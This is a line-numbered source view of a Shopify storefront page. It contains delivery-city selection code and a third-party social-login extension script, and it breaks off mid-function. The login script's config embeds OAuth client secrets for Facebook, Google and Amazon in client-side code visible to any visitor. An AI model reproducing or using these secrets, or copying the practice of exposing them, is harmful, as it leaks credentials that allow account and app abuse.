16478    
16479    "pengiriman_purbalingga",
16480    
16481    
16482    
16483    
16484    
16485    "pengiriman_purwakarta",
16486    
16487    
16488    
16489    
16490    
16491    "pengiriman_purwokerto",
16492    
16493    
16494    
16495    
16496    
16497    "pengiriman_rembang",
16498    
16499    
16500    
16501    
16502    
16503    "pengiriman_riau",
16504    
16505    
16506    
16507    
16508    
16509    "pengiriman_salatiga",
16510    
16511    
16512    
16513    
16514    
16515    "pengiriman_samarinda",
16516    
16517    
16518    
16519    
16520    
16521    "pengiriman_semarang",
16522    
16523    
16524    
16525    
16526    
16527    "pengiriman_sentani",
16528    
16529    
16530    
16531    
16532    
16533    "pengiriman_serang",
16534    
16535    
16536    
16537    
16538    
16539    "pengiriman_sidoarjo",
16540    
16541    
16542    
16543    
16544    
16545    "pengiriman_singkawang",
16546    
16547    
16548    
16549    
16550    
16551    "pengiriman_sragen",
16552    
16553    
16554    
16555    
16556    
16557    "pengiriman_subang",
16558    
16559    
16560    
16561    
16562    
16563    "pengiriman_sukabumi",
16564    
16565    
16566    
16567    
16568    
16569    "pengiriman_sumbawa",
16570    
16571    
16572    
16573    
16574    
16575    "pengiriman_surabaya",
16576    
16577    
16578    
16579    
16580    
16581    "pengiriman_surakarta solo",
16582    
16583    
16584    
16585    
16586    
16587    
16588    
16589    
16590    
16591    "pengiriman_tasikmalaya",
16592    
16593    
16594    
16595    
16596    
16597    "pengiriman_tegal",
16598    
16599    
16600    
16601    
16602    
16603    "pengiriman_timika",
16604    
16605    
16606    
16607    
16608    
16609    "pengiriman_wamena",
16610    
16611    
16612    
16613    
16614    
16615    "pengiriman_wiyung",
16616    
16617    
16618    
16619    
16620    
16621    "pengiriman_wonokromo",
16622    
16623    
16624    
16625    
16626    
16627    "pengiriman_yogyakarta",
16628    
16629    
16630    
16631    
16632    
16633    
16634    
16635    
16636    
16637    
16638    
16639    
16640    
16641    
16642    
16643    
16644    
16645    
16646    
16647    
16648    
16649    
16650    
16651    
16652    
16653    
16654    
16655    
16656    
16657    
16658    
16659    
16660    
16661    
16662    
16663    
16664    
16665    
16666    
16667    
16668    
16669    
16670    
16671    
16672    
16673    
16674    
16675    
16676    
16677    
16678    
16679    
16680    
16681    
16682    
16683    
16684    
16685    
16686    
16687    
16688    
16689    
16690    
16691    
16692    
16693    
16694    
16695    
16696    
16697    
16698    
16699    
16700    
16701    
16702    
16703    
16704    
16705    
16706    
16707    
16708    
16709    
16710    
16711    
16712    
16713    
16714    
16715    
16716    
16717    
16718    
16719    
16720    
16721    
16722    
16723    
16724    
16725    
16726    
16727    
16728    
16729    
16730    
16731    
16732    
16733    
16734    
16735    
16736    
16737    
16738    
16739    
16740    
16741    
16742    
16743    
16744    
16745    
16746    
16747    
16748    
16749    
16750    
16751    
16752    
16753    
16754    
16755    
16756    
16757    
16758    
16759    
16760    
16761    
16762    
16763    
16764    
16765    
16766    
16767    
16768    
16769    
16770    
16771    
16772    
16773    
16774    
16775    
16776    
16777    
16778    
16779    
16780    
16781    
16782    
16783    
16784    
16785    
16786    
16787    
16788    
16789    
16790    
16791    
16792    
16793    
16794    
16795    
16796    
16797    
16798    
16799    
16800    
16801    
16802    
16803    
16804    
16805    
16806    
16807    
16808    
16809    
16810    
16811    
16812    
16813    
16814    
16815    
16816    
16817    
16818    
16819    
16820    
16821    
16822    
16823    
16824    
16825    
16826    
16827    
16828    
16829    
16830    
16831    
16832    
16833    
16834    
16835    
16836    
16837    
16838    
16839    
16840    
16841    
16842    
16843    
16844    
16845    
16846    
16847    
16848    
16849    
16850    
16851    
16852    
16853    
16854    
16855    
16856    
16857    
16858    
16859    
16860    
16861    
16862    
16863    
16864    
16865    
16866    
16867    
16868    
16869    
16870    
16871    
16872    
16873    
16874    
16875    
16876    
16877    
16878    
16879    
16880    
16881    
16882    
16883    
16884    
16885    
16886    
16887    
16888    
16889    
16890    
16891    
16892    
16893    
16894    
16895    
16896    
16897    
16898    
16899    
16900    
16901    
16902    
16903    
16904    
16905    
16906    
16907    
16908    
16909    
16910    
16911    
16912    
16913    
16914    
16915    
16916    
16917    
16918    
16919    
16920    
16921    
16922    
16923    
16924    
16925    
16926    
16927    
16928    
16929    
16930    
16931    
16932    
16933    
16934    
16935    
16936    
16937    
16938    
16939    
16940    
16941    
16942    
16943    
16944    
16945    
16946    
16947    
16948    
16949    
16950    
16951    
16952    
16953    
16954    
16955    
16956    
16957    
16958    
16959    
16960    
16961    
16962    
16963    
16964    
16965    
16966    
16967    
16968    
16969    
16970    
16971    
16972    
16973    
16974    
16975    
16976    
16977    
16978    
16979    
16980    
16981    
16982    
16983    
16984    
16985    
16986    
16987    
16988    
16989    
16990    
16991    
16992    
16993    
16994    
16995    
16996    
16997    
16998    
16999    
17000    
17001    
17002    
17003    
17004    
17005    
17006    
17007    
17008    
17009    
17010    
17011    
17012    
17013    
17014    
17015    
17016    
17017    
17018    
17019    
17020    
17021    
17022    
17023    
17024    
17025    
17026    
17027    
17028    
17029    
17030    
17031    
17032    
17033    
17034    
17035    
17036    
17037    
17038    
17039    
17040    
17041    
17042    
17043    
17044    
17045    
17046    
17047    
17048    
17049    
17050    
17051    
17052    
17053    
17054    
17055    
17056    
17057    
17058    
17059    
17060    
17061    
17062    
17063    
17064    
17065    
17066    
17067    
17068    
17069    
17070    
17071    
17072    
17073    
17074    
17075    
17076    
17077    
17078    
17079    
17080    
17081    
17082    
17083    
17084    
17085    
17086    
17087    
17088    
17089    
17090    
17091    
17092    
17093    
17094    
17095    
17096    
17097    
17098    
17099    
17100    
17101    
17102    
17103    
17104    
17105    
17106    
17107    
17108    
17109    
17110    
17111    
17112    
17113    
17114    
17115    
17116    
17117    
17118    
17119    
17120    
17121    
17122    
17123    
17124    
17125    
17126    
17127    
17128    
17129    
17130    
17131    
17132    
17133    
17134    
17135    
17136    
17137    
17138    
17139    
17140    
17141    
17142    
17143    
17144    
17145    
17146    
17147    
17148    
17149    
17150    
17151    
17152    
17153    
17154    
17155    
17156    
17157    
17158    
17159    
17160    
17161    
17162    
17163    
17164    
17165    
17166    
17167    
17168    
17169    
17170    
17171    
17172    
17173    
17174    
17175    
17176    
17177    
17178    
17179    
17180    
17181    
17182    
17183    
17184    
17185    
17186    
17187    
17188    
17189    
17190    
17191    
17192    
17193    
17194    
17195    
17196    
17197    
17198    
17199    
17200    
17201    
17202    
17203    
17204    
17205    
17206    
17207    
17208    
17209    
17210    
17211    
17212    
17213    
17214    
17215    
17216    
17217    
17218    
17219    
17220    
17221    
17222    
17223    
17224    
17225    
17226    
17227    
17228    
17229    
17230    
17231    
17232    
17233    
17234    
17235    
17236    
17237    
17238    
17239  ]
17240  
17241  let non_jabodetabek = []
17242  for(var i=0;i<cityNonJabodetabek.length;i++) {
17243    const obj = {
17244      "code": cityNonJabodetabek[i].toLowerCase().replace('pengiriman_', '').replace(' ','-'),
17245      "city": cityNonJabodetabek[i].replace('pengiriman_', '').replace(' ','-'),
17246      "zip": []
17247    }
17248    non_jabodetabek.push(obj)
17249  }
17250  let current_location = getCookie("location_delivery")
17251  $("[name=location]").change(function(){
17252    let v = $(this).val()
17253    let option = []
17254    if(v == 'Jabodetabek') {
17255      for(var i=0;i<jabodetabek.length;i++) {
17256        const jabodetabekHtml = `<option value=${jabodetabek[i].city}>${jabodetabek[i].city}</option>`
17257        option.push(jabodetabekHtml)
17258      }
17259      $("#choose-location").html(`<option value="">Choose Location</option>${option}`)
17260    } else {
17261      for(var i=0;i<non_jabodetabek.length;i++) {
17262        const nonjabodetabekHtml = `<option value=${non_jabodetabek[i].city}>${non_jabodetabek[i].city}</option>`
17263        option.push(nonjabodetabekHtml)
17264      }
17265      $("#choose-location").html(`<option value="">Choose Location</option>${option}`)
17266    }
17267  })
17268
17269  $("#location-lock-submit").click(function(e){
17270    let select = $("#choose-location")
17271    let value = select.val().toLowerCase()
17272    console.log(value)
17273    if(select.val() == "") {
17274      return alert("Choose Your Location")
17275      e.preventDefault()
17276    }
17277    setCookie("location_delivery",value,1000000);
17278    
17279    location.reload();
17280    
17281  })
17282
17283  $("#close-popup-delivery").click(function(){
17284    $(".MuiDialog-root").hide()
17285    if(!current_location){
17286      setCookie("location_delivery","jakarta",1000000);
17287      $("#loc_delivery_city, #loc_delivery_city_mobile").text("Jakarta")
17288    }
17289  })
17290  $("#loc_delivery, #loc_delivery_mobile").click(function(){
17291    $(".MuiDialog-root").show()
17292  })
17293
17294  
17295  if(!current_location){
17296    
17297  } else {
17298    $("#loc_delivery_city, #loc_delivery_city_mobile").text(current_location)
17299    $("#choose-location").each(function(){
17300      if(current_location == 'jakarta' || current_location == 'depok' || current_location == 'bogor' || current_location == 'tangerang' || current_location == 'bekasi'){
17301        $("#jabodetabek").trigger("click")
17302      } else {
17303        $("#non-jabodetabek").trigger("click")
17304      }
17305      $("#choose-location").find("option[value="+current_location+"]").attr("selected", "selected")
17306    })
17307  }
17308
17309  // if(current_location == 'jakarta' || current_location == 'depok' || current_location == 'bogor' || current_location == 'tangerang' || current_location == 'bekasi' || current_location == 'bandung' || current_location == 'semarang' || current_location == 'yogyakarta' || current_location == 'surabaya'){
17310  //   $("#timeMalam").attr("disabled", false)
17311  // } else {
17312  //   $("#timeMalam").attr("disabled", true)
17313  // }
17314
17315  if(current_location && current_location != 'jakarta') {
17316    $("#self-pickup").attr("disabled", true)
17317  }
17318
17319  function setCookie(name,value,days) {
17320    var expires = "";
17321    if (days) {
17322      var date = new Date();
17323      date.setTime(date.getTime() + (days*24*60*60*1000));
17324      expires = "; expires=" + date.toUTCString();
17325    }
17326    document.cookie = name + "=" + (value || "")  + expires + "; path=/";
17327  }
17328  function getCookie(name) {
17329    var nameEQ = name + "=";
17330    var ca = document.cookie.split(';');
17331    for(var i=0;i < ca.length;i++) {
17332      var c = ca[i];
17333      while (c.charAt(0)==' ') c = c.substring(1,c.length);
17334      if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
17335    }
17336    return null;
17337  }
17338</script>
17338
17339<!-- One Tap -->
17340    
17340<script>
17341      console.log("Outerbloom...");
17342    </script>
17342
17343
17344    <!-- Initialize User Data (IP, Browser, Device) -->
17345    
17346  <div id="shopify-block-ATzRpVTBPU3k1R2pnW__286197278318599166" class="shopify-block shopify-app-block">
17347
17348
17349<div style="position: fixed; bottom: 0; right: 0"></div>
17350
17351<script>
17352console.info("bitlogin extension version: v2.5.7");
17353
17354const googleScript = document.createElement("script");
17355googleScript.setAttribute("src", "https://accounts.google.com/gsi/client");
17356document.head.append(googleScript);
17357
17358const bitLoginBaseUrl = "https://api.bitbybit.studio";
17359const apiUrl = `${bitLoginBaseUrl}/bitlogin/api`;
17360
17361const appearance = {"style":"square","hasShadow":true,"domain":"outerbloom1.myshopify.com","colorScheme":"match","backgroundColor":"#ffffff","outlineColor":"#ffe100","textColor":"#700000","position":"top","hideDivider":false,"dividerText":"","size":"small","format":"contentFlex","language":"en","buttonText":"Continue With","redirectLink":"\/account","googleOneTap":true,"googleOneTapBanner":true,"captureAdditionalData":true,"customerTag":"bitLogin","redirectOneTapDesktop":"[{\"label\":\"Account\",\"label2\":\"Desktop: Account\",\"value\":\"account\",\"parentValue\":\"Desktop\"}]","redirectOneTapMobile":"[{\"label\":\"Thank you page\",\"label2\":\"Mobile: Thank you page\",\"value\":\"thank_you\",\"parentValue\":\"Mobile\"}]","watermark":true,"buttonList":{"google":"Continue with Google","facebook":"Continue with Facebook","apple":"Continue with Apple","whatsapp":"Continue with WhatsApp","microsoft":"Continue with Microsoft","twitter":"Continue with X","amazon":"Continue with Amazon","instagram":"Continue with Instagram","magic_link":"Continue with Magic Link","mobile_app":"Continue with Mobile App","linkedin":"Continue with LinkedIn"}};
17362const config = [{"domain":"outerbloom1.myshopify.com","provider":"FACEBOOK","enabledMobile":false,"enabledWeb":true,"clientId":"922184709213757","clientSecret":"e3c874c8bce6da4211538ebda706d1cb","appleTeamId":null,"applePrivateKey":null,"usePersonalOauth":false,"position":null},{"domain":"outerbloom1.myshopify.com","provider":"GOOGLE","enabledMobile":true,"enabledWeb":true,"clientId":"933600373534-vk6hiu9lqrtbblj0357q0gsoo7mqvsd0.apps.googleusercontent.com","clientSecret":"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","appleTeamId":null,"applePrivateKey":null,"usePersonalOauth":true,"position":null},{"domain":"outerbloom1.myshopify.com","provider":"APPLE","enabledMobile":true,"enabledWeb":true,"clientId":"com.bitlogin.outerbloom","clientSecret":"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","appleTeamId":"1A","applePrivateKey":"1A","usePersonalOauth":false,"position":null},{"domain":"outerbloom1.myshopify.com","provider":"WHATSAPP","enabledMobile":false,"enabledWeb":true,"clientId":null,"clientSecret":null,"appleTeamId":null,"applePrivateKey":null,"usePersonalOauth":false,"position":null},{"domain":"outerbloom1.myshopify.com","provider":"MICROSOFT","enabledMobile":false,"enabledWeb":false,"clientId":null,"clientSecret":null,"appleTeamId":null,"applePrivateKey":null,"usePersonalOauth":false,"position":null},{"domain":"outerbloom1.myshopify.com","provider":"TWITTER","enabledMobile":false,"enabledWeb":false,"clientId":null,"clientSecret":null,"appleTeamId":null,"applePrivateKey":null,"usePersonalOauth":false,"position":null},{"domain":"outerbloom1.myshopify.com","provider":"AMAZON","enabledMobile":false,"enabledWeb":false,"clientId":"amzn1.application-oa2-client.5b560a5e3e2943d6b25c50cd6dca5532","clientSecret":"amz
17362n1.oa2-cs.v1.1cb5f9085a202341f60daf5a7be16c570ccc0b4bd5908b3afd080f34e9b8935d","appleTeamId":null,"applePrivateKey":null,"usePersonalOauth":false,"position":null}];
17363
17364const urlSearchParams = new URLSearchParams(window.location.search);
17365const checkoutUrl = urlSearchParams.get("checkout_url");
17366const redirectUrl = checkoutUrl || appearance.redirectLink;
17367
17368let locationCacheSet = false;
17369let errorLocation = false;
17370let oneTapSet = false;
17371
17372let bitloginCache = {
17373  appearance: appearance,
17374  config: config
17375};
17376
17377let isInitializing = false;
17378const queue = [];
17379
17380// Add CSS for the popup
17381const popupStyles = document.createElement('style');
17382popupStyles.textContent = `
17383  /* Styles for login popup */
17384  .bitlogin-popup-overlay {
17385    position: fixed;
17386    top: 0;
17387    left: 0;
17388    width: 100%;
17389    height: 100%;
17390    background: rgba(0, 0, 0, 0.45);
17391    backdrop-filter: blur(4px);
17392    display: flex;
17393    align-items: center;
17394    justify-content: center;
17395    opacity: 0;
17396    transition: opacity 0.3s ease-in-out;
17397    z-index: 999999;
17398  }
17399  
17400  .bitlogin-popup-overlay.visible {
17401    opacity: 1;
17402  }
17403  
17404  .bitlogin-popup {
17405    background: #FFFFFF;
17406    box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04);
17407    border-radius: 16px;
17408    width: 100%;
17409    max-width: 560px;
17410    display: flex;
17411    overflow: hidden;
17412    position: relative;
17413    opacity: 0;
17414    transform: translateY(20px) scale(0.98);
17415    transition: all 0.3s cubic-bezier(0.16, 1, 0.3, 1);
17416  }
17417  
17418  .bitlogin-popup.visible {
17419    opacity: 1;
17420    transform: translateY(0) scale(1);
17421  }
17422  
17423  .bitlogin-popup-with-image {
17424    max-width: 640px;
17425  }
17426  
17427  .bitlogin-popup-right-image {
17428    flex-direction: row-reverse;
17429  }
17430  
17431  .bitlogin-popup-image {
17432    object-fit: cover;
17433    width: 50%;
17434    height: auto;
17435  }
17436  
17437  .bitlogin-popup-content {
17438    padding: 32px;
17439    position: relative;
17440    width: 50%;
17441  }
17442  
17443  .bitlogin-popup-close {
17444    position: absolute;
17445    top: 16px;
17446    right: 16px;
17447    background: white;
17448    border: none;
17449    width: 30px;
17450    height: 30px;
17451    display: flex;
17452    align-items: center;
17453    justify-content: center;
17454    cursor: pointer;
17455    transition: background-color 0.2s;
17456    color: inherit;
17457    padding: 0;
17458  }
17459  
17460  .bitlogin-popup-close:hover {
17461    background-color: #e5e5e5;
17462  }
17463  
17464  .bitlogin-popup-buttons {
17465    display: flex;
17466    flex-direction: column;
17467    gap: 12px;
17468    margin-top: 24px;
17469  }
17470  
17471  /* Button styles within popup - override width for popup buttons */
17472  .bitlogin-popup-buttons #google-login,
17473  .bitlogin-popup-buttons #facebook-login,
17474  .bitlogin-popup-buttons #apple-login,
17475  .bitlogin-popup-buttons #whatsapp-login,
17476  .bitlogin-popup-buttons #microsoft-login,
17477  .bitlogin-popup-buttons #twitter-login,
17478  .bitlogin-popup-buttons #amazon-login,
17479  .bitlogin-popup-buttons #instagram-login,
17480  .bitlogin-popup-buttons #magic-link-login,
17481  .bitlogin-popup-buttons #mobile-app-login {
17482    width: 100% !important;
17483    font-family: inherit !important;
17484  }
17485  
17486  .bitlogin-popup-footer {
17487    margin-top: 32px;
17488    text-align: center;
17489    font-size: 14px;
17490    opacity: 0.6;
17491  }
17492  
17493  /* Modern Typography */
17494  .bitlogin-popup h2 {
17495    margin-top: 12px;
17496    font-size: 21px !important;
17497    line-height: 1.2 !important;
17498    font-weight: 700 !important;
17499    letter-spacing: -0.02em !important;
17500    margin-bottom: 16px !important;
17501  }
17502  
17503  .bitlogin-popup-header {
17504    position: relative;
17505    margin-bottom: 24px;
17506  }
17507  
17508  /* Modern gradient accent */
17509  .bitlogin-popup-content > div {
17510    font-size: 16px !important;
17511    line-height: 1.2 !important;
17512    opacity: 0.85 !important;
17513  }
17514  
17515  /* Enhanced button interactions */
17516  .bitlogin-popup-buttons button {
17517    position: relative;
17518    overflow: hidden;
17519  }
17520  
17521  @keyframes ripple {
17522    0% {
17523      transform: scale(0, 0);
17524      opacity: 0.5;
17525    }
17526    100% {
17527      transform: scale(100, 100);
17528      opacity: 0;
17529    }
17530  }
17531  
17532  /* Responsive adjustments */
17533  @media (max-width: 640px) {
17534    .bitlogin-popup {
17535      max-width: 90%;
17536      width: 90%;
17537      margin: 0 16px;
17538    }
17539    
17540    .bitlogin-popup-with-image {
17541      flex-direction: column !important;
17542    }
17543    
17544    .bitlogin-popup-image {
17545      width: 100%;
17546      height: 180px;
17547    }
17548    
17549    .bitlogin-popup-content {
17550      padding: 24px;
17551    }
17552    
17553    .bitlogin-popup h2 {
17554      font-size: 24px !important;
17555    }
17556  }
17557`;
17558
17559document.head.appendChild(popupStyles);
17560
17561// Add fonts link for different font options
17562const fontsLink = document.createElement('link');
17563fontsLink.rel = 'stylesheet';
17564fontsLink.href = 'https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;600&family=Roboto:wght@400;500&family=Open+Sans:wght@400;500;600&family=Noto+Sans:wght@400;500;600&family=Lato:wght@400;700&family=Poppins:wght@400;500;600&family=Quicksand:wght@400;500;600&family=Raleway:wght@400;500;600&family=PT+Sans:wght@400;700&family=Oswald:wght@400;500;600&display=swap';
17565document.head.appendChild(fontsLink);
17566
17567(async () => {
17568  try {
17569    let host = window.location.host;
17570    if (host === "admin.shopify.com") {
17571      host = `${window.location.pathname.split("/")[2]}.myshopify.com`;
17572    }
17573
17574    const urlSearchParams = new URLSearchParams(window.location.search);
17575    const checkoutUrl = urlSearchParams.get("checkout_url");
17576
17577    async function init({ inputRef, index }) {
17578      if (isInitializing) {
17579        queue.push(() => init({ inputRef, index }));
17580        return;
17581      }
17582
17583      isInitializing = true;
17584
17585      try {
17586        let bitLoginSectionRoot = document.querySelector(
17587          `.bitlogin-root[data-index="${index}"]`
17588        );
17589
17590        const formRef = inputRef?.closest(
17591          "form:not([action='/account/recover'])"
17592        );
17593
17594        if (formRef && !bitLoginSectionRoot) {
17595          await getLocation();
17596
17597          bitLoginSectionRoot = document.createElement(`div`);
17598
17599          bitLoginSectionRoot.setAttribute("class", "bitlogin-root");
17600          bitLoginSectionRoot.setAttribute("data-index", `${index}`);
17601
17602          updateAppearance({
17603            formRef,
17604            rootRef: bitLoginSectionRoot,
17605            host,
17606          });
17607        }
17608      } catch (err) {
17609        console.error(`error while initiating bitlogin extensions`, err);
17610      } finally {
17611        // Release the lock
17612        isInitializing = false;
17613
17614        // Check if there are pending items in the queue
17615        if (queue.length > 0) {
17616          // Process the next function in the queue
17617          const nextFunction = queue.shift();
17618          nextFunction();
17619        }
17620      }
17621    }
17622
17623    function initAll() {
17624      return new Promise((resolve, reject) => {
17625        setTimeout(async () => {
17626          const inputRefs = document.querySelectorAll(
17627            'input[name="customer[email]"]'
17628          );
17629
17630          for (let i = 0; i < inputRefs.length; i++) {
17631            const currentInputRef = inputRefs[i];
17632            const isVisible = isElementVisible(currentInputRef);
17633
17634            if (isVisible) {
17635              await init({ inputRef: currentInputRef, index: i });
17636            }
17637          }
17638
17639          resolve("ok");
17640        }, 100);
17641      });
17642    }
17643
17644    const observer = new MutationObserver((mutationsList) => {
17645      for (let mutation of mutationsList) {
17646        initAll();
17647      }
17648    });
17649
17650    observer.observe(document.body, {
17651      childList: true,
17652      subtree: true,
17653      attributes: true,
17654    });
17655
17656    initAll();
17657
17658    if (appearance.googleOneTap) {
17659      setupOneTap({ host, checkoutUrl });
17660    }
17661
17662    // Initialize popup
17663    await initPopup(host);
17664  } catch (error) {
17665    console.error("Error initializing BitLogin:", error);
17666  }
17667})();
17668
17669async function initPopup(host) {
17670  // Check if user is already logged in using Liquid checks properly
17671  const isLoggedIn = false || 
17672                    document.querySelector('.customer-logout-link') || 
17673                    document.querySelector('.account-link') || 
17674                    window.location.pathname.includes('/account');
17675  
17676  if (isLoggedIn) {
17677    return; // User is logged in, don't show popup
17678  }
17679
17680  try {
17681    // Fetch the popup configuration
17682    const popupConfig = await fetch(`${apiUrl}/appearance/popup/domain/${host}`)
17683      .then(res => res.json())
17684      .catch(err => {
17685        console.error('Error fetching popup configuration:', err);
17686        return null;
17687      });
17688
17689    if (!popupConfig || !popupConfig.enabled) {
17690      return; // Don't show popup if disabled or config not found
17691    }
17692
17693    // Create popup after 10 seconds
17694    setTimeout(() => {
17695      // Check if user is still on the page and still not logged in
17696      if (document.visibilityState === 'visible') {
17697        // Additional check in case user logged in during the 10 second w
17697ait
17698        const currentlyLoggedIn = false || 
17699                              document.querySelector('.customer-logout-link') || 
17700                              document.querySelector('.account-link');
17701        
17702        if (!currentlyLoggedIn) {
17703          createLoginPopup(popupConfig, host);
17704        }
17705      }
17706    }, 10000);
17707  } catch (error) {
17708    console.error('Error initializing popup:', error);
17709  }
17710}
17711
17712function createLoginPopup(popupConfig, host) {
17713  // Font mapping
17714  const fontFamilyMap = {
17715    system_fonts: 'system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif',
17716    montserrat: 'Montserrat, sans-serif',
17717    roboto: 'Roboto, sans-serif',
17718    open_sans: 'Open Sans, sans-serif',
17719    noto_sans: 'Noto Sans, sans-serif',
17720    lato: 'Lato, sans-serif',
17721    poppins: 'Poppins, sans-serif',
17722    quicksand: 'Quicksand, sans-serif',
17723    raleway: 'Raleway, sans-serif',
17724    pt_sans: 'PT Sans, sans-serif',
17725    oswald: 'Oswald, sans-serif',
17726  };
17727
17728  // Create overlay
17729  const overlay = document.createElement('div');
17730  overlay.className = 'bitlogin-popup-overlay';
17731  
17732  // Create popup container with appropriate styling
17733  const popup = document.createElement('div');
17734  popup.className = 'bitlogin-popup';
17735
17736  if (popupConfig.layout === 'default') {
17737    popup.style.maxWidth = '400px';
17738  }
17739  
17740  // Function to close the popup
17741  const closePopup = () => {
17742    overlay.classList.remove('visible');
17743    popup.classList.remove('visible');
17744    setTimeout(() => {
17745      if (document.body.contains(overlay)) {
17746        document.body.removeChild(overlay);
17747      }
17748    }, 300);
17749  };
17750  
17751  // Add click handler to the overlay to close when clicking outside
17752  overlay.addEventListener('click', (event) => {
17753    // Close only if clicking directly on the overlay, not its children
17754    if (event.target === overlay) {
17755      closePopup();
17756    }
17757  });
17758  
17759  // Add escape key handler to close popup
17760  document.addEventListener('keydown', (event) => {
17761    if (event.key === 'Escape' && document.body.contains(overlay)) {
17762      closePopup();
17763    }
17764  });
17765
17766  // Create layout with image if specified
17767  let contentWrapper;
17768  if (popupConfig.layout !== 'default' && popupConfig.popupImage) {
17769    popup.classList.add('bitlogin-popup-with-image');
17770    
17771    if (popupConfig.layout === 'right') {
17772      popup.classList.add('bitlogin-popup-right-image');
17773    }
17774    
17775    // Add image
17776    const image = document.createElement('img');
17777    image.className = 'bitlogin-popup-image';
17778    image.src = popupConfig.popupImage;
17779    image.alt = 'Login';
17780    image.loading = 'lazy';
17781    popup.appendChild(image);
17782    
17783    // Create content container
17784    contentWrapper = document.createElement('div');
17785    contentWrapper.className = 'bitlogin-popup-content';
17786
17787    if (popupConfig.layout === 'right') {
17788      const closeButton = document.createElement('button');
17789      closeButton.className = 'bitlogin-popup-close';
17790      closeButton.innerHTML = `<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg">
17791        <path d="M13 1L1 13M1 1L13 13" stroke="${popupConfig.fontColor}" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
17792      </svg>`;
17793      closeButton.setAttribute('aria-label', 'Close');
17794      closeButton.onclick = closePopup;
17795  
17796      popup.appendChild(closeButton);
17797    }
17798  } else {
17799    contentWrapper = document.createElement('div');
17800    contentWrapper.className = 'bitlogin-popup-content';
17801    contentWrapper.style.width = '100%';
17802  }
17803
17804  // Set background style
17805  if (popupConfig.backgroundTheme === 'gradient') {
17806    contentWrapper.style.background = `linear-gradient(135deg, ${popupConfig.backgroundPopupColor}, ${popupConfig.gradientColor})`;
17807  } else {
17808    contentWrapper.style.backgroundColor = popupConfig.backgroundPopupColor;
17809  }
17810
17811  // Apply font family
17812  contentWrapper.style.setProperty('font-family', fontFamilyMap[popupConfig.font] || fontFamilyMap.system_fonts, 'important');
17813
17814  if (popupConfig.layout !== 'right') {
17815    const closeButton = document.createElement('button');
17816    closeButton.className = 'bitlogin-popup-close';
17817    closeButton.innerHTML = `<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg">
17818      <path d="M13 1L1 13M1 1L13 13" stroke="${popupConfig.fontColor}" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
17819    </svg>`;
17820    closeButton.setAttribute('aria-label', 'Close');
17821    closeButton.onclick = closePopup;
17822  
17823    contentWrapper.appendChild(closeButton);
17824  }
17825
17826  // Add heading with subtle animation effect
17827  const header = document.createElement('div');
17828  header.className = 'bitlogin-popup-header';
17829  
17830  const heading = document.createElement('h2');
17831  heading.textContent = popupConfig.headingText || 'Sign in for exclusive benef
17831its';
17832  heading.style.color = popupConfig.fontColor;
17833  header.appendChild(heading);
17834
17835  // Add body text with improved formatting
17836  const bodyText = document.createElement('div');
17837  bodyText.innerHTML = popupConfig.bodyText || 'Join our community to access exclusive offers and a personalized shopping experience.';
17838  bodyText.style.color = popupConfig.fontColor;
17839  header.appendChild(bodyText);
17840  
17841  contentWrapper.appendChild(header);
17842
17843  // Create buttons container with modern styling
17844  const buttonsContainer = document.createElement('div');
17845  buttonsContainer.className = 'bitlogin-popup-buttons';
17846  
17847  // Add social buttons
17848  const providerLabels = {
17849    'GOOGLE': 'Continue with Google',
17850    'FACEBOOK': 'Continue with Facebook',
17851    'APPLE': 'Continue with Apple',
17852    'WHATSAPP': 'Continue with WhatsApp',
17853    'MAGIC_LINK': 'Continue with Email',
17854  };
17855
17856  // Add first login provider button
17857  if (popupConfig.loginProvider1 !== 'NONE') {
17858    const buttonConfig = {
17859      theme: popupConfig.colorScheme || 'match',
17860      customColor: popupConfig.textColor,
17861      format: 'contentFlex',
17862      buttonText: bitloginCache.appearance.buttonList[popupConfig.loginProvider1.toLowerCase()],
17863      hasShadow: popupConfig.hasShadow !== undefined ? popupConfig.hasShadow : true,
17864      style: popupConfig.style || 'rounded',
17865      size: popupConfig.size || 'medium',
17866      colorScheme: popupConfig.colorScheme || 'match',
17867      backgroundColor: popupConfig.backgroundColor || '#3B82F6',
17868      textColor: popupConfig.textColor || '#FFFFFF',
17869      outlineColor: popupConfig.outlineColor || '#3B82F6',
17870      host: host
17871    };
17872    
17873    const button1 = createSocialLoginButton(popupConfig.loginProvider1, buttonConfig);
17874    
17875    // Handle click event - this overrides the default click handler in createSocialLoginButton
17876    button1.onclick = () => {
17877      onClickSocialLogin({ provider: popupConfig.loginProvider1.toLowerCase(), host });
17878      closePopup();
17879    };
17880    
17881    buttonsContainer.appendChild(button1);
17882  }
17883
17884  // Add second login provider button if enabled
17885  if (popupConfig.loginProvider2 !== 'NONE') {
17886    const buttonConfig = {
17887      theme: popupConfig.colorScheme || 'match',
17888      customColor: popupConfig.textColor,
17889      format: 'contentFlex',
17890      buttonText: bitloginCache.appearance.buttonList[popupConfig.loginProvider2.toLowerCase()],
17891      hasShadow: popupConfig.hasShadow !== undefined ? popupConfig.hasShadow : true,
17892      style: popupConfig.style || 'rounded',
17893      size: popupConfig.size || 'medium',
17894      colorScheme: popupConfig.colorScheme || 'match',
17895      backgroundColor: popupConfig.backgroundColor || '#3B82F6',
17896      textColor: popupConfig.textColor || '#FFFFFF',
17897      outlineColor: popupConfig.outlineColor || '#3B82F6',
17898      host: host
17899    };
17900    
17901    const button2 = createSocialLoginButton(popupConfig.loginProvider2, buttonConfig);
17902    
17903    // Handle click event - this overrides the default click handler in createSocialLoginButton
17904    button2.onclick = () => {
17905      onClickSocialLogin({ provider: popupConfig.loginProvider2.toLowerCase(), host });
17906      closePopup();
17907    };
17908    
17909    buttonsContainer.appendChild(button2);
17910  }
17911
17912  contentWrapper.appendChild(buttonsContainer);
17913
17914  // Append content to popup
17915  popup.appendChild(contentWrapper);
17916  
17917  // Append popup to overlay
17918  overlay.appendChild(popup);
17919  
17920  // Append overlay to body
17921  document.body.appendChild(overlay);
17922  
17923  // Trigger animation with slight delay for better perceived performance
17924  setTimeout(() => {
17925    overlay.classList.add('visible');
17926    setTimeout(() => {
17927      popup.classList.add('visible');
